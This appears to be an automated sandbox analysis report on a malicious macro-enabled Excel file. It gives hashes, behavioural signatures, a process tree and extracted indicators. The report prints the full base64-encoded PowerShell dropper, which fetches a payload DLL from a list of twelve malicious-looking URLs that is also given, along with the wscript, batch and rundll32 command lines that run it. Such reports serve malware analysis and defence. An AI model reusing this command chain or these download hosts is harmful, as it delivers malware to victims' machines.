Analysis

  • max time kernel
    133s
  • max time network
    139s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-11-2024 21:03

General

  • Target

    8bd55b72e96b1ec555e05044f6a138108b35cd6f505a46951db7dd83be96f489.xlsm

  • Size

    115KB

  • MD5

    c55de90647aef216768b8516a3263468

  • SHA1

    253eb1648ed416e8791f0465e76b3b5696276065

  • SHA256

    8bd55b72e96b1ec555e05044f6a138108b35cd6f505a46951db7dd83be96f489

  • SHA512

    f4377d1199c3a13eb9527abfe9282949eb1cd5a82d58cd7e61043f900f84e3ec8a7d7675dc324499982e9b58362c65213075b41e0f59c37fb95b34376b758724

  • SSDEEP

    3072:FG1t/LKpd4LcRtaXR3KUtE4sYzOXPn1CpR:FiHL8e3KU5skOXN4

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://sumedhaonline.com/wp-content/HyzNXJ30XOQVcBSRH/

exe.dropper

http://divachintextiles.com/wp-includes/WWhWRKs8KvzNFm6/

exe.dropper

http://hotelandamalabo.com/1520/bUdhEPdf/

exe.dropper

http://shwenantawwin.com/copma/XTnZIi02vfVblK7/

exe.dropper

http://tan4j.com/wp-content/languages/yOI5h8uoRe/

exe.dropper

https://khibra-academy.com/wp-content/c1dR8wP4OdhzApHn/

exe.dropper

https://dwwmaster.com/wp-content/W7XGpodRs5kYvnV/

exe.dropper

http://edinsonjhernandez.net/wp-content/vndSGB/

exe.dropper

https://stayathomeamerica.com/wp-content/nrQWW/

exe.dropper

http://quetzalgt.coffee/images/B5WUc/

exe.dropper

http://edinsonjhernandez.info/wp-content/BaazJljahSR2/

exe.dropper

http://xn--90agbba9adnzt3i.com/ALFA_DATA/ucCbi6G/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8bd55b72e96b1ec555e05044f6a138108b35cd6f505a46951db7dd83be96f489.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4792
    • C:\Windows\SYSTEM32\wscript.exe
      wscript c:\programdata\tghklsd.vbs
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:552
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\programdata\jledshf.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4952
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -enc JABqAGUAbwBsAGkAcwBlADMAUgBoAGcARABaAFMANABjAGQAZgBnAD0AIgBoAHQAdABwADoALwAvAHMAdQBtAGUAZABoAGEAbwBuAGwAaQBuAGUALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBIAHkAegBOAFgASgAzADAAWABPAFEAVgBjAEIAUwBSAEgALwAsAGgAdAB0AHAAOgAvAC8AZABpAHYAYQBjAGgAaQBuAHQAZQB4AHQAaQBsAGUAcwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AVwBXAGgAVwBSAEsAcwA4AEsAdgB6AE4ARgBtADYALwAsAGgAdAB0AHAAOgAvAC8AaABvAHQAZQBsAGEAbgBkAGEAbQBhAGwAYQBiAG8ALgBjAG8AbQAvADEANQAyADAALwBiAFUAZABoAEUAUABkAGYALwAsAGgAdAB0AHAAOgAvAC8AcwBoAHcAZQBuAGEAbgB0AGEAdwB3AGkAbgAuAGMAbwBtAC8AYwBvAHAAbQBhAC8AWABUAG4AWgBJAGkAMAAyAHYAZgBWAGIAbABLADcALwAsAGgAdAB0AHAAOgAvAC8AdABhAG4ANABqAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AbABhAG4AZwB1AGEAZwBlAHMALwB5AE8ASQA1AGgAOAB1AG8AUgBlAC8ALABoAHQAdABwAHMAOgAvAC8AawBoAGkAYgByAGEALQBhAGMAYQBkAGUAbQB5AC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AYwAxAGQAUgA4AHcAUAA0AE8AZABoAHoAQQBwAEgAbgAvACwAaAB0AHQAcABzADoALwAvAGQAdwB3AG0AYQBzAHQAZQByAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AVwA3AFgARwBwAG8AZABSAHMANQBrAFkAdgBuAFYALwAsAGgAdAB0AHAAOgAvAC8AZQBkAGkAbgBzAG8AbgBqAGgAZQByAG4AYQBuAGQAZQB6AC4AbgBlAHQALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdgBuAGQAUwBHAEIALwAsAGgAdAB0AHAAcwA6AC8ALwBzAHQAYQB5AGEAdABoAG8AbQBlAGEAbQBlAHIAaQBjAGEALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBuAHIAUQBXAFcALwAsAGgAdAB0AHAAOgAvAC8AcQB1AGUAdAB6AGEAbABnAHQALgBjAG8AZgBmAGUAZQAvAGkAbQBhAGcAZQBzAC8AQgA1AFcAVQBjAC8ALABoAHQAdABwADoALwAvAGUAZABpAG4AcwBvAG4AagBoAGUAcgBuAGEAbgBkAGUAegAuAGkAbgBmAG8ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AQgBhAGEAegBKAGwAagBhAGgAUwBSADIALwAsAGgAdAB0AHAAOgAvAC8AeABuAC0ALQA5ADAAYQBnAGIAYgBhADkAYQBkAG4AegB0ADMAaQAuAGMAbwBtAC8AQQBMAEYAQQBfAEQAQQBUAEEALwB1AGMAQwBiAGkANgBHAC8AIgAuAHMAcABMAGkAVAAoACIALAAiACkAOwBmAE8AcgBlAGEAQwBoACgAJABqAGQAdABGAEoAZABYAGgAcgA2AHQAeAB5AGgAZAAgAGkAbgAgACQAagBlAG8AbABpAHMAZQAzAFIAaABnAEQAWgBTADQAYwBkAGYAZwApAHsAJAByAGgAeQBrAGEAagBkAGgAZgBzADcAaQBkAGYAZwBkAD0AIgBjADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXAB2AGIAawB3AGsALgBkAGwAbAAiADsAaQBOAHYATwBrAGUALQB3AEUAYgByAGUAUQB1AGUAcwBUACAALQB1AFIAaQAgACQAagBkAHQARgBKAGQAWABoAHIANgB0AHgAeQBoAGQAIAAtAG8AdQBUAGYAaQBMAGUAIAAkAHIAaAB5AGsAYQBqAGQAaABmAHMANwBpAGQAZgBnAGQAOwAgAGkAZgAoAHQAZQBzAHQALQBwAEEAdABIACAAJAByAGgAeQBrAGEAagBkAGgAZgBzADcAaQBkAGYAZwBkACkAewBpAGYAKAAoAGcAZQB0AC0AaQBUAGUAbQAgACQAcgBoAHkAawBhAGoAZABoAGYAcwA3AGkAZABmAGcAZAApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADQANQAwADAAMAApAHsAYgByAGUAYQBrADsAfQB9AH0A
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3376
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\rundll32.exe c:\programdata\vbkwk.dll,dfsgeresd
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4404
        • \??\c:\windows\syswow64\rundll32.exe
          c:\windows\syswow64\rundll32.exe c:\programdata\vbkwk.dll,dfsgeresd
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4972

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d2ghuxxv.dzo.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

    Filesize

    1KB

    MD5

    ac67bca4fdab00cd7c8c3e30240bbed0

    SHA1

    e4a9aadf3291914d4a77792a451237d76989b0b3

    SHA256

    59140b6a78c34712f009f92fb48ce9be51cfdaa8a38a15b5b3db43c25083b6c0

    SHA512

    518cbccedf3114c2a1104a023b33df527df1eccd26f76e70e202b436153c3fc053ea7d032170cb0b6d82416681511f0c6581e1ce62809aa25a17ab1706eb7d4d

  • C:\programdata\jledshf.bat

    Filesize

    3KB

    MD5

    164532c6f8dbac93f02a741fbd0c71b9

    SHA1

    1fbb6f6e2ecc5626c8879b1af15cdff88414a72b

    SHA256

    b463e24cd165d84616c6db6130623de399ee544e1bc9f929f8a7fa6b6841dd47

    SHA512

    655e3ae1ca46aa4c9efb9ff8d78afd3580875aae59e4c5d57cb0a4dee46515e9f77dc79284c7352c96353ca20e09293a0343d168a66c1ce1794dbb958d4bb31d

  • \??\c:\programdata\tghklsd.vbs

    Filesize

    561B

    MD5

    87a9c41dc3e67b9b0b6cdb367d4858bd

    SHA1

    00f117f9a02dad3c127b2c607ead43300c2bebbe

    SHA256

    f0b09a17f07b03b8cfe1969f84fcfb96933439707fa86ba8aa79181145512e18

    SHA512

    7373ca3127a1baf85e3cc6beb7b046788132b1bb388405657cb924435386d186a2645971128dc582a970242c4a3dfdc7fcce78ed158b0d430c96bbd18686f1dd

  • \??\c:\programdata\vbkwk.dll

    Filesize

    24KB

    MD5

    267653b0ba240564ec0f8438c78e1d07

    SHA1

    a5c875a9d1e341ccf0b2590d444e219175bf04c5

    SHA256

    ab4c38eb8b4a07f918d37b2e30fbe44c5dac5331f525a13ef2d72251853c966c

    SHA512

    38263abd73c6a2e71ea54264f8334de83ce20ab4f281ea5067a28ecd5f8f312e9347b03d13c241d88f5e9bccb1009bf24275804e6b327bf61e95c328d906a841

  • memory/3376-148-0x0000016CF04C0000-0x0000016CF0C66000-memory.dmp

    Filesize

    7.6MB

  • memory/3376-135-0x0000016CEF660000-0x0000016CEF682000-memory.dmp

    Filesize

    136KB

  • memory/4792-13-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

    Filesize

    2.0MB

  • memory/4792-31-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

    Filesize

    2.0MB

  • memory/4792-15-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

    Filesize

    2.0MB

  • memory/4792-17-0x00007FF807F30000-0x00007FF807F40000-memory.dmp

    Filesize

    64KB

  • memory/4792-16-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

    Filesize

    2.0MB

  • memory/4792-18-0x00007FF807F30000-0x00007FF807F40000-memory.dmp

    Filesize

    64KB

  • memory/4792-14-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

    Filesize

    2.0MB

  • memory/4792-12-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

    Filesize

    2.0MB

  • memory/4792-11-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

    Filesize

    2.0MB

  • memory/4792-10-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

    Filesize

    2.0MB

  • memory/4792-9-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

    Filesize

    2.0MB

  • memory/4792-7-0x00007FF809F90000-0x00007FF809FA0000-memory.dmp

    Filesize

    64KB

  • memory/4792-27-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

    Filesize

    2.0MB

  • memory/4792-1-0x00007FF849FAD000-0x00007FF849FAE000-memory.dmp

    Filesize

    4KB

  • memory/4792-130-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

    Filesize

    2.0MB

  • memory/4792-8-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

    Filesize

    2.0MB

  • memory/4792-6-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

    Filesize

    2.0MB

  • memory/4792-4-0x00007FF809F90000-0x00007FF809FA0000-memory.dmp

    Filesize

    64KB

  • memory/4792-5-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

    Filesize

    2.0MB

  • memory/4792-3-0x00007FF809F90000-0x00007FF809FA0000-memory.dmp

    Filesize

    64KB

  • memory/4792-151-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

    Filesize

    2.0MB

  • memory/4792-152-0x00007FF849FAD000-0x00007FF849FAE000-memory.dmp

    Filesize

    4KB

  • memory/4792-153-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

    Filesize

    2.0MB

  • memory/4792-154-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

    Filesize

    2.0MB

  • memory/4792-155-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

    Filesize

    2.0MB

  • memory/4792-2-0x00007FF809F90000-0x00007FF809FA0000-memory.dmp

    Filesize

    64KB

  • memory/4792-0-0x00007FF809F90000-0x00007FF809FA0000-memory.dmp

    Filesize

    64KB